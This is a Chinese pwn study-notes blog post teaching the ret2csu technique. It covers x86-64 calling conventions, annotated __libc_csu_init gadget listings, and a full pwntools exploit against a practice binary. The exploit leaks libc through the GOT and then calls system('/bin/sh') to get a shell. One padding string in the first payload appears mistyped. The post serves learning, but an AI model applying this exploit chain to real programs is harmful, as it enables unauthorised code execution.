pwn学习笔记(9)-中级ROP--ret2csu

pwn学习笔记(9)-中级ROP–ret2csu

前置知识

​ 首先是64位文件的传参方式:前六个参数是从左到右放入寄存器:rdi、rsi、rdx、rcx、r8、r9,之后的通过栈传参。

​ 比如:

传参函数大于7个:

H(a,b,c,d,e,f,g,h)

a->%rdi、b->%rsi、c->%rdx、d->%rcx、e->%r8、f->%r9

h->(%esp)

g->(%esp)

call H

​ 先看看如下代码:

#include "stdio.h"


int H(int a,int b,int c,int d,int e,int f,int g,int h);

int main(){
        int a = 1,b = 2,c = 3,d = 4,e = 5,f = 6,g = 7,h = 8;
        printf("%d",H(a,b,c,d,e,f,g,h));
        return 0;
}



int H(int a,int b,int c,int d,int e,int f,int g,int h){
        return a+b+c+d+e+f+g+h;
}

​ 之后反汇编一下main函数和H函数的代码

0000000000001149 
: 1149: f3 0f 1e fa endbr64 114d: 55 push rbp 114e: 48 89 e5 mov rbp,rsp 1151: 48 83 ec 20 sub rsp,0x20 1155: c7 45 e0 01 00 00 00 mov DWORD PTR [rbp-0x20],0x1 115c: c7 45 e4 02 00 00 00 mov DWORD PTR [rbp-0x1c],0x2 1163: c7 45 e8 03 00 00 00 mov DWORD PTR [rbp-0x18],0x3 116a: c7 45 ec 04 00 00 00 mov DWORD PTR [rbp-0x14],0x4 1171: c7 45 f0 05 00 00 00 mov DWORD PTR [rbp-0x10],0x5 1178: c7 45 f4 06 00 00 00 mov DWORD PTR [rbp-0xc],0x6 117f: c7 45 f8 07 00 00 00 mov DWORD PTR [rbp-0x8],0x7 1186: c7 45 fc 08 00 00 00 mov DWORD PTR [rbp-0x4],0x8 118d: 44 8b 4d f4 mov r9d,DWORD PTR [rbp-0xc] 1191: 44 8b 45 f0 mov r8d,DWORD PTR [rbp-0x10] 1195: 8b 4d ec mov ecx,DWORD PTR [rbp-0x14] 1198: 8b 55 e8 mov edx,DWORD PTR [rbp-0x18] 119b: 8b 75 e4 mov esi,DWORD PTR [rbp-0x1c] 119e: 8b 45 e0 mov eax,DWORD PTR [rbp-0x20] 11a1: 8b 7d fc mov edi,DWORD PTR [rbp-0x4] 11a4: 57 push rdi 11a5: 8b 7d f8 mov edi,DWORD PTR [rbp-0x8] 11a8: 57 push rdi 11a9: 89 c7 mov edi,eax 11ab: e8 1e 00 00 00 call 11ce 11b0: 48 83 c4 10 add rsp,0x10 11b4: 89 c6 mov esi,eax 11b6: 48 8d 3d 47 0e 00 00 lea rdi,[rip+0xe47] # 2004 <_IO_stdin_used+0x4> 11bd: b8 00 00 00 00 mov eax,0x0 11c2: e8 89 fe ff ff call 1050 11c7: b8 00 00 00 00 mov eax,0x0 11cc: c9 leave 11cd: c3 ret 00000000000011ce : 11ce: f3 0f 1e fa endbr64 11d2: 55 push rbp 11d3: 48 89 e5 mov rbp,rsp 11d6: 89 7d fc mov DWORD PTR [rbp-0x4],edi 11d9: 89 75 f8 mov DWORD PTR [rbp-0x8],esi 11dc: 89 55 f4 mov DWORD PTR [rbp-0xc],edx 11df: 89 4d f0 mov DWORD PTR [rbp-0x10],ecx 11e2: 44 89 45 ec mov DWORD PTR [rbp-0x14],r8d 11e6: 44 89 4d e8 mov DWORD PTR [rbp-0x18],r9d 11ea: 8b 55 fc mov edx,DWORD PTR [rbp-0x4] 11ed: 8b 45 f8 mov eax,DWORD PTR [rbp-0x8] 11f0: 01 c2 add edx,eax 11f2: 8b 45 f4 mov eax,DWORD PTR [rbp-0xc] 11f5: 01 c2 add edx,eax 11f7: 8b 45 f0 mov eax,DWORD PTR [rbp-0x10] 11fa: 01 c2 add edx,eax 11fc: 8b 45 ec mov eax,DWORD PTR [rbp-0x14] 11ff: 01 c2 add edx,eax 1201: 8b 45 e8 mov eax,DWORD PTR [rbp-0x18] 1204: 01 c2 add edx,eax 1206: 8b 45 10 mov eax,DWORD PTR [rbp+0x10] 1209: 01 c2 add edx,eax 120b: 8b 45 18 mov eax,DWORD PTR [rbp+0x18] 120e: 01 d0 add eax,edx 1210: 5d pop rbp 1211: c3 ret

​ 很明显的就是前六个参数是寄存器传参,剩下两个就是栈传参。

libc_csu_init函数基础:

.text:0000000000001220
.text:0000000000001220 ; =============== S U B R O U T I N E =======================================
.text:0000000000001220
.text:0000000000001220
.text:0000000000001220 ; void _libc_csu_init(void)
.text:0000000000001220                 public __libc_csu_init
.text:0000000000001220 __libc_csu_init proc near               ; DATA XREF: _start+1A↑o
.text:0000000000001220 ; __unwind {
.text:0000000000001220                 endbr64
.text:0000000000001224                 push    r15
.text:0000000000001226                 lea     r15, __frame_dummy_init_array_entry
.text:000000000000122D                 push    r14
.text:000000000000122F                 mov     r14, rdx
.text:0000000000001232                 push    r13
.text:0000000000001234                 mov     r13, rsi
.text:0000000000001237                 push    r12
.text:0000000000001239                 mov     r12d, edi
.text:000000000000123C                 push    rbp
.text:000000000000123D                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000001244                 push    rbx
.text:0000000000001245                 sub     rbp, r15
.text:0000000000001248                 sub     rsp, 8
.text:000000000000124C                 call    _init_proc
.text:0000000000001251                 sar     rbp, 3
.text:0000000000001255                 jz      short loc_1276
.text:0000000000001257                 xor     ebx, ebx
.text:0000000000001259                 nop     dword ptr [rax+00000000h]
.text:0000000000001260
.text:0000000000001260 loc_1260:                               ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000001260                 mov     rdx, r14
.text:0000000000001263                 mov     rsi, r13
.text:0000000000001266                 mov     edi, r12d
.text:0000000000001269                 call    ds:(__frame_dummy_init_array_entry - 3DB8h)[r15+rbx*8]
.text:000000000000126D                 add     rbx, 1
.text:0000000000001271                 cmp     rbp, rbx
.text:0000000000001274                 jnz     short loc_1260
.text:0000000000001276
.text:0000000000001276 loc_1276:                               ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000001276                 add     rsp, 8
.text:000000000000127A                 pop     rbx
.text:000000000000127B                 pop     rbp
.text:000000000000127C                 pop     r12
.text:000000000000127E                 pop     r13
.text:0000000000001280                 pop     r14
.text:0000000000001282                 pop     r15
.text:0000000000001284                 retn
.text:0000000000001284 ; } // starts at 1220

​ 这里我们可以利用下面的几个点,上汇编:

.text:0000000000001276 loc_1276:                               ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000001276                 add     rsp, 8
.text:000000000000127A                 pop     rbx
.text:000000000000127B                 pop     rbp
.text:000000000000127C                 pop     r12
.text:000000000000127E                 pop     r13
.text:0000000000001280                 pop     r14
.text:0000000000001282                 pop     r15
.text:0000000000001284                 retn

​ 发现了这里可以修改个别寄存器的值,然后是这儿,可以修改传参用的那几个寄存器的值:

.text:0000000000001260 loc_1260:                               ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000001260                 mov     rdx, r14
.text:0000000000001263                 mov     rsi, r13
.text:0000000000001266                 mov     edi, r12d
.text:0000000000001269                 call    ds:(__frame_dummy_init_array_entry - 3DB8h)[r15+rbx*8]
.text:000000000000126D                 add     rbx, 1
.text:0000000000001271                 cmp     rbp, rbx
.text:0000000000001274                 jnz     short loc_1260

​ 由此,我们可以通过控制r13等和传参用的寄存器相对应的来进行ret2syscall等操作。

例子:

​ 先看看架构:

g01den@MSI:~/Temp$ checksec pwn
[*] '/home/g01den/Temp/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

​ IDA分析:

ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}

​ 然后看看__libc_csu_init

.text:00000000004005C0
.text:00000000004005C0 ; =============== S U B R O U T I N E =======================================
.text:00000000004005C0
.text:00000000004005C0
.text:00000000004005C0 ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:00000000004005C0 ; __unwind {
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 ; } // starts at 4005C0

​ 由下面这个点可以知道,可以控制的寄存器为 edi、rsi、rdx,另外,call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]还使得可以调用r12+rbx*8的一个地址的函数,所以,这里可以利用r12来跳转到write函数来泄露write函数的地址,然后就可以通过ret2libc来获得shell,

from pwn import *

p = process('./level5')
elf = ELF('level5')

pop_addr = 0x40061a
write_got = elf.got['write']
mov_addr = 0x400600
main_addr = elf.symbols['main']

p.recvuntil('Hello, World\n')
payload0 = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(mov_addr) + 'a '*(0x8+8*6) + p64(main_addr)
p.sendline(payload0)

write_start = u64(p.recv(8))
print "write_addr_in_memory_is "+hex(write_start)

libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('libc.so.6')

libc_base=write_start-libc.symbols['write']
system_addr=libc.symbols['system']+libc_base
binsh=next(libc.search('/bin/sh'))+libc_base

print "libc_base_addr_in_memory_is "+hex(libc_base)
print "system_addr_in_memory_is "+hex(system_addr)
print "/bin/sh_addr_in_memory_is "+hex(binsh)

pop_rdi_ret=0x400623
payload='a'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)

p.send(payload)
p.interactive()

你可能感兴趣的:(Pwn,学习,笔记)